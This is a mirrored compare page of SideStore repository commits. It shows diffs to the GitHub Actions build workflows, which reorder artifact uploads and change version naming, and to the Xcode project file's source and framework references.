mirror of
https://github.com/SideStore/SideStore.git
synced 2026-03-30 15:25:39 +02:00
Compare commits
9 Commits
fabianthde
...
feature/f1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8029a34410 | ||
|
|
48e0b37b4d | ||
|
|
2337043466 | ||
|
|
cc6b048b9c | ||
|
|
108f7a936d | ||
|
|
46945bc087 | ||
|
|
486b3d12bd | ||
|
|
0dc0ff8151 | ||
|
|
b2a1fdb6ee |
38
.github/workflows/beta.yml
vendored
38
.github/workflows/beta.yml
vendored
@@ -27,13 +27,6 @@ jobs:
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
@@ -48,6 +41,22 @@ jobs:
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
|
||||
@@ -79,18 +88,3 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
@@ -7,7 +7,7 @@ DATE=`date -u +'%Y.%m.%d'`
|
||||
BUILD_NUM=1
|
||||
|
||||
write() {
|
||||
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
|
||||
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM/" -i '' Build.xcconfig
|
||||
echo "$DATE,$BUILD_NUM" > .nightly-build-num
|
||||
}
|
||||
|
||||
|
||||
38
.github/workflows/nightly.yml
vendored
38
.github/workflows/nightly.yml
vendored
@@ -36,13 +36,6 @@ jobs:
|
||||
- name: Increase nightly build number and set as version
|
||||
run: bash .github/workflows/increase-nightly-build-num.sh
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
@@ -57,6 +50,22 @@ jobs:
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
|
||||
@@ -87,20 +96,5 @@ jobs:
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
- name: Reset cache for apps.sidestore.io/nightly
|
||||
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
|
||||
|
||||
20
.github/workflows/pr.yml
vendored
20
.github/workflows/pr.yml
vendored
@@ -23,16 +23,7 @@ jobs:
|
||||
run: brew install ldid
|
||||
|
||||
- name: Add PR suffix to version
|
||||
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short ${COMMIT:-HEAD})/" -i '' Build.xcconfig
|
||||
env:
|
||||
COMMIT: ${{ github.event.pull_request.head.sha }}
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
@@ -48,17 +39,14 @@ jobs:
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
name: SideStore-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
38
.github/workflows/stable.yml
vendored
38
.github/workflows/stable.yml
vendored
@@ -27,13 +27,6 @@ jobs:
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
@@ -48,6 +41,22 @@ jobs:
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
|
||||
@@ -76,18 +85,3 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
@@ -11,87 +11,21 @@
|
||||
19104D952909BAEA00C49C7B /* libimobiledevice.a in Frameworks */ = {isa = PBXBuildFile; fileRef = BF45872B2298D31600BD7491 /* libimobiledevice.a */; };
|
||||
19104DB52909C06D00C49C7B /* EmotionalDamage.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19104DB42909C06D00C49C7B /* EmotionalDamage.swift */; };
|
||||
19104DBC2909C4E500C49C7B /* libEmotionalDamage.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 19104DB22909C06C00C49C7B /* libEmotionalDamage.a */; };
|
||||
191E5FAE290A5D92001A3B7C /* minimuxer.swift in Sources */ = {isa = PBXBuildFile; fileRef = 191E5FAD290A5D92001A3B7C /* minimuxer.swift */; };
|
||||
191E5FB4290A5DA0001A3B7C /* libminimuxer.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 191E5FAB290A5D92001A3B7C /* libminimuxer.a */; };
|
||||
191E5FDC290AFA5C001A3B7C /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 191E5FDB290AFA5C001A3B7C /* OpenSSL */; };
|
||||
191E607D290B2EA5001A3B7C /* jsmn.c in Sources */ = {isa = PBXBuildFile; fileRef = 191E5FD0290A651D001A3B7C /* jsmn.c */; };
|
||||
191E607E290B2EA7001A3B7C /* jplist.c in Sources */ = {isa = PBXBuildFile; fileRef = 191E5FCF290A651D001A3B7C /* jplist.c */; };
|
||||
191E6087290C7B50001A3B7C /* libminimuxer.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 191E5FB5290A5E1F001A3B7C /* libminimuxer.a */; };
|
||||
1920B04F2924AC8300744F60 /* Settings.bundle in Resources */ = {isa = PBXBuildFile; fileRef = 1920B04E2924AC8300744F60 /* Settings.bundle */; };
|
||||
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; };
|
||||
1F07F550295455A300F7BE95 /* Localizable.strings in Resources */ = {isa = PBXBuildFile; fileRef = 1F07F552295455A300F7BE95 /* Localizable.strings */; };
|
||||
1F07F556295458D800F7BE95 /* Assets.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F07F554295458D800F7BE95 /* Assets.swift */; };
|
||||
1F07F557295458D800F7BE95 /* Localizations.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F07F555295458D800F7BE95 /* Localizations.swift */; };
|
||||
1F07F5672955D16A00F7BE95 /* SFSafeSymbols in Frameworks */ = {isa = PBXBuildFile; productRef = 1F07F5662955D16A00F7BE95 /* SFSafeSymbols */; };
|
||||
1F07F5692955D3EC00F7BE95 /* SFSafeSymbols in Frameworks */ = {isa = PBXBuildFile; productRef = 1F07F5682955D3EC00F7BE95 /* SFSafeSymbols */; };
|
||||
1F07F56B2955F11500F7BE95 /* AppScreenshotsPreview.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F07F56A2955F11500F7BE95 /* AppScreenshotsPreview.swift */; };
|
||||
1F07F56F2955FB2000F7BE95 /* AppIDsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F07F56E2955FB2000F7BE95 /* AppIDsView.swift */; };
|
||||
1F0DD81C2932D2FF007608A4 /* AppScreenshotsScrollView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F0DD81B2932D2FF007608A4 /* AppScreenshotsScrollView.swift */; };
|
||||
1F0DD8212933B749007608A4 /* AppPermissionsGrid.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F0DD8202933B749007608A4 /* AppPermissionsGrid.swift */; };
|
||||
1F0DD83F29367F6C007608A4 /* ConnectAppleIDView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F0DD83E29367F6C007608A4 /* ConnectAppleIDView.swift */; };
|
||||
1F0DD84129368056007608A4 /* EnvironmentValues.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F0DD84029368056007608A4 /* EnvironmentValues.swift */; };
|
||||
1F0DD8432936B0F9007608A4 /* RoundedTextField.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F0DD8422936B0F9007608A4 /* RoundedTextField.swift */; };
|
||||
1F0DD8452936B3FE007608A4 /* FilledButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F0DD8442936B3FE007608A4 /* FilledButtonStyle.swift */; };
|
||||
1F1295812989B51F0048FCB9 /* ExpandableText in Frameworks */ = {isa = PBXBuildFile; productRef = 1F1295802989B51F0048FCB9 /* ExpandableText */; };
|
||||
1F180F92298E7A1B00D1C98B /* StoreApp+Trusted.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F180F91298E7A1B00D1C98B /* StoreApp+Trusted.swift */; };
|
||||
1F180F94298E7A2500D1C98B /* Source+Trusted.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F180F93298E7A2500D1C98B /* Source+Trusted.swift */; };
|
||||
1F1D669E29A234CE0095BFCD /* WriteAppReviewView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F1D669D29A234CE0095BFCD /* WriteAppReviewView.swift */; };
|
||||
1F2EF787297C4D40002FD839 /* LicensesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F2EF786297C4D40002FD839 /* LicensesView.swift */; };
|
||||
1F44634529744E570070E514 /* HintView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F44634429744E570070E514 /* HintView.swift */; };
|
||||
1F545E83298D79E400589F68 /* ErrorLogView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F545E82298D79E400589F68 /* ErrorLogView.swift */; };
|
||||
1F545E85298D84CF00589F68 /* FilePreviewView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F545E84298D84CF00589F68 /* FilePreviewView.swift */; };
|
||||
1F545E87298D86D800589F68 /* ModalNavigationLink.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F545E86298D86D800589F68 /* ModalNavigationLink.swift */; };
|
||||
1F5DF9D82974426300DDAA47 /* AppScreenshot.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F5DF9D72974426300DDAA47 /* AppScreenshot.swift */; };
|
||||
1F6284D5295209DA0060AAD8 /* AppAction.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6284D4295209DA0060AAD8 /* AppAction.swift */; };
|
||||
1F6284D7295218980060AAD8 /* DocumentPicker.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6284D6295218980060AAD8 /* DocumentPicker.swift */; };
|
||||
1F6284D929523D340060AAD8 /* SideloadingManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6284D829523D340060AAD8 /* SideloadingManager.swift */; };
|
||||
1F66F5BA2938CA5700A910CA /* VisualEffectView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F66F5B92938CA5700A910CA /* VisualEffectView.swift */; };
|
||||
1F66F5BC2938F03700A910CA /* Modifiers.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F66F5BB2938F03700A910CA /* Modifiers.swift */; };
|
||||
1F66F5BE2938F06100A910CA /* StoreApp+Filterable.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F66F5BD2938F06100A910CA /* StoreApp+Filterable.swift */; };
|
||||
1F66F5C02938F07C00A910CA /* Filterable.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F66F5BF2938F07C00A910CA /* Filterable.swift */; };
|
||||
1F6E08DA292806E0005059C0 /* AppRowView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6E08D9292806E0005059C0 /* AppRowView.swift */; };
|
||||
1F6E08DC292807D3005059C0 /* AppIconView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6E08DB292807D3005059C0 /* AppIconView.swift */; };
|
||||
1F6E08E029280B12005059C0 /* SafariView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6E08DF29280B12005059C0 /* SafariView.swift */; };
|
||||
1F6E08E429280D1E005059C0 /* PillButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6E08E329280D1E005059C0 /* PillButtonStyle.swift */; };
|
||||
1F6E08E629280F4B005059C0 /* RatingStars.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6E08E529280F4B005059C0 /* RatingStars.swift */; };
|
||||
1F6E08E829282174005059C0 /* ConfirmAddSourceView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F6E08E729282174005059C0 /* ConfirmAddSourceView.swift */; };
|
||||
1F74FF1E295263510047C051 /* AsyncImage in Frameworks */ = {isa = PBXBuildFile; productRef = 1F74FF1D295263510047C051 /* AsyncImage */; };
|
||||
1F943C692927F8F200ABE095 /* RootView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FAFC5B52927E06300B8D837 /* RootView.swift */; };
|
||||
1F943C6A2927F8F700ABE095 /* ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F943C672927F39400ABE095 /* ViewModel.swift */; };
|
||||
1F943C6B2927F8F700ABE095 /* NavigationTab.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FAFC5C32927E18100B8D837 /* NavigationTab.swift */; };
|
||||
1F943C6C2927F90400ABE095 /* SettingsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FAFC5C02927E13C00B8D837 /* SettingsView.swift */; };
|
||||
1F943C6D2927F90400ABE095 /* NewsViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F943C652927F36600ABE095 /* NewsViewModel.swift */; };
|
||||
1F943C6E2927F90400ABE095 /* NewsItemView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F943C632927EF4200ABE095 /* NewsItemView.swift */; };
|
||||
1F943C6F2927F90400ABE095 /* NewsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FAFC5B82927E0EE00B8D837 /* NewsView.swift */; };
|
||||
1F943C702927F90400ABE095 /* BrowseView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FAFC5BA2927E0F800B8D837 /* BrowseView.swift */; };
|
||||
1F943C712927F90400ABE095 /* MyAppsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FAFC5BD2927E10D00B8D837 /* MyAppsView.swift */; };
|
||||
1F981B1129AA0FAE0014950E /* OnboardingView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F981B1029AA0FAE0014950E /* OnboardingView.swift */; };
|
||||
1F981B1329AA101F0014950E /* OnboardingStepView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F981B1229AA101F0014950E /* OnboardingStepView.swift */; };
|
||||
1F981B1529AA1E070014950E /* AppIconsShowcase.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F981B1429AA1E070014950E /* AppIconsShowcase.swift */; };
|
||||
1F981B1729AA34A70014950E /* AppStoreProductView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1F981B1629AA34A70014950E /* AppStoreProductView.swift */; };
|
||||
1FA1C8CA294906890083119D /* MyAppsViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FA1C8C9294906890083119D /* MyAppsViewModel.swift */; };
|
||||
1FA5A6CA298E8B2F007BA946 /* RefreshAttemptsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FA5A6C9298E8B2F007BA946 /* RefreshAttemptsView.swift */; };
|
||||
1FA5A6CC298E8FE4007BA946 /* MailComposeView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FA5A6CB298E8FE4007BA946 /* MailComposeView.swift */; };
|
||||
1FB84BA62928DE08006A5CF4 /* AppDetailView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB84BA52928DE08006A5CF4 /* AppDetailView.swift */; };
|
||||
1FB96FBE292A20E5007E68D1 /* ObservableScrollView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FBD292A20E5007E68D1 /* ObservableScrollView.swift */; };
|
||||
1FB96FC0292A63F2007E68D1 /* AppPillButton.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FBF292A63F2007E68D1 /* AppPillButton.swift */; };
|
||||
1FB96FC3292A6D7E007E68D1 /* DateFormatterHelper.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FC2292A6D7E007E68D1 /* DateFormatterHelper.swift */; };
|
||||
1FB96FC5292A7251007E68D1 /* BrowseAppPreviewView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FC4292A7251007E68D1 /* BrowseAppPreviewView.swift */; };
|
||||
1FB96FC7292A853D007E68D1 /* SourcesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FC6292A853D007E68D1 /* SourcesView.swift */; };
|
||||
1FB96FC9292ABDD0007E68D1 /* AddSourceView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FC8292ABDD0007E68D1 /* AddSourceView.swift */; };
|
||||
1FB96FCF292BBBCA007E68D1 /* SiriShortcutSetupView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FCE292BBBC9007E68D1 /* SiriShortcutSetupView.swift */; };
|
||||
1FB96FEC292C171D007E68D1 /* NotificationManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FEB292C171D007E68D1 /* NotificationManager.swift */; };
|
||||
1FB96FF3292D0539007E68D1 /* PillButtonProgressViewStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FB96FF2292D0539007E68D1 /* PillButtonProgressViewStyle.swift */; };
|
||||
1FF8C6182A1780C60041352C /* ActivityView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FF8C6172A1780C60041352C /* ActivityView.swift */; };
|
||||
1FF8C61B2A1782F10041352C /* Reachability in Frameworks */ = {isa = PBXBuildFile; productRef = 1FF8C61A2A1782F10041352C /* Reachability */; };
|
||||
1FFA56C2299994390011B6F5 /* OutputCapturer.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FFA56C1299994390011B6F5 /* OutputCapturer.swift */; };
|
||||
1FFA56C52999978C0011B6F5 /* LocalConsole in Frameworks */ = {isa = PBXBuildFile; productRef = 1FFA56C42999978C0011B6F5 /* LocalConsole */; };
|
||||
1FFEF104298552DB0098374C /* AppVersionHistoryView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 1FFEF103298552DB0098374C /* AppVersionHistoryView.swift */; };
|
||||
4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; };
|
||||
4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; };
|
||||
9922FFEC29B501C50020F868 /* Starscream in Frameworks */ = {isa = PBXBuildFile; productRef = 9922FFEB29B501C50020F868 /* Starscream */; };
|
||||
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_fda.m */; };
|
||||
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helping_tools.m */; };
|
||||
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */; };
|
||||
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* CowExploits.swift */; };
|
||||
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; };
|
||||
99F87D0529D8B4E200B40039 /* minimuxer-helpers.swift in Sources */ = {isa = PBXBuildFile; fileRef = 9961EC2D29BE9F2E00AF2C6F /* minimuxer-helpers.swift */; };
|
||||
99F87D1829D8E4C900B40039 /* SwiftBridgeCore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 99F87D1629D8E4C900B40039 /* SwiftBridgeCore.swift */; };
|
||||
99F87D1929D8E4C900B40039 /* minimuxer.swift in Sources */ = {isa = PBXBuildFile; fileRef = 99F87D1729D8E4C900B40039 /* minimuxer.swift */; };
|
||||
B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; };
|
||||
B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
|
||||
B33FFBA8295F8E98002259E6 /* libfragmentzip.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B343F894295F7F9B002B1159 /* libfragmentzip.a */; };
|
||||
@@ -574,77 +508,20 @@
|
||||
19104DB22909C06C00C49C7B /* libEmotionalDamage.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libEmotionalDamage.a; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
19104DB42909C06D00C49C7B /* EmotionalDamage.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EmotionalDamage.swift; sourceTree = "<group>"; };
|
||||
191E5FAB290A5D92001A3B7C /* libminimuxer.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libminimuxer.a; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
191E5FAD290A5D92001A3B7C /* minimuxer.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = minimuxer.swift; sourceTree = "<group>"; };
|
||||
191E5FB5290A5E1F001A3B7C /* libminimuxer.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libminimuxer.a; path = "Dependencies/minimuxer/target/aarch64-apple-ios/debug/libminimuxer.a"; sourceTree = "<group>"; };
|
||||
191E5FCF290A651D001A3B7C /* jplist.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; name = jplist.c; path = Dependencies/libplist/src/jplist.c; sourceTree = SOURCE_ROOT; };
|
||||
191E5FD0290A651D001A3B7C /* jsmn.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; name = jsmn.c; path = Dependencies/libplist/src/jsmn.c; sourceTree = SOURCE_ROOT; };
|
||||
191E5FD1290A651D001A3B7C /* jsmn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = jsmn.h; path = Dependencies/libplist/src/jsmn.h; sourceTree = SOURCE_ROOT; };
|
||||
1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = "<group>"; };
|
||||
19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = "<group>"; };
|
||||
1F07F551295455A300F7BE95 /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/Localizable.strings; sourceTree = "<group>"; };
|
||||
1F07F554295458D800F7BE95 /* Assets.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Assets.swift; sourceTree = "<group>"; };
|
||||
1F07F555295458D800F7BE95 /* Localizations.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Localizations.swift; sourceTree = "<group>"; };
|
||||
1F07F56A2955F11500F7BE95 /* AppScreenshotsPreview.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppScreenshotsPreview.swift; sourceTree = "<group>"; };
|
||||
1F07F56E2955FB2000F7BE95 /* AppIDsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppIDsView.swift; sourceTree = "<group>"; };
|
||||
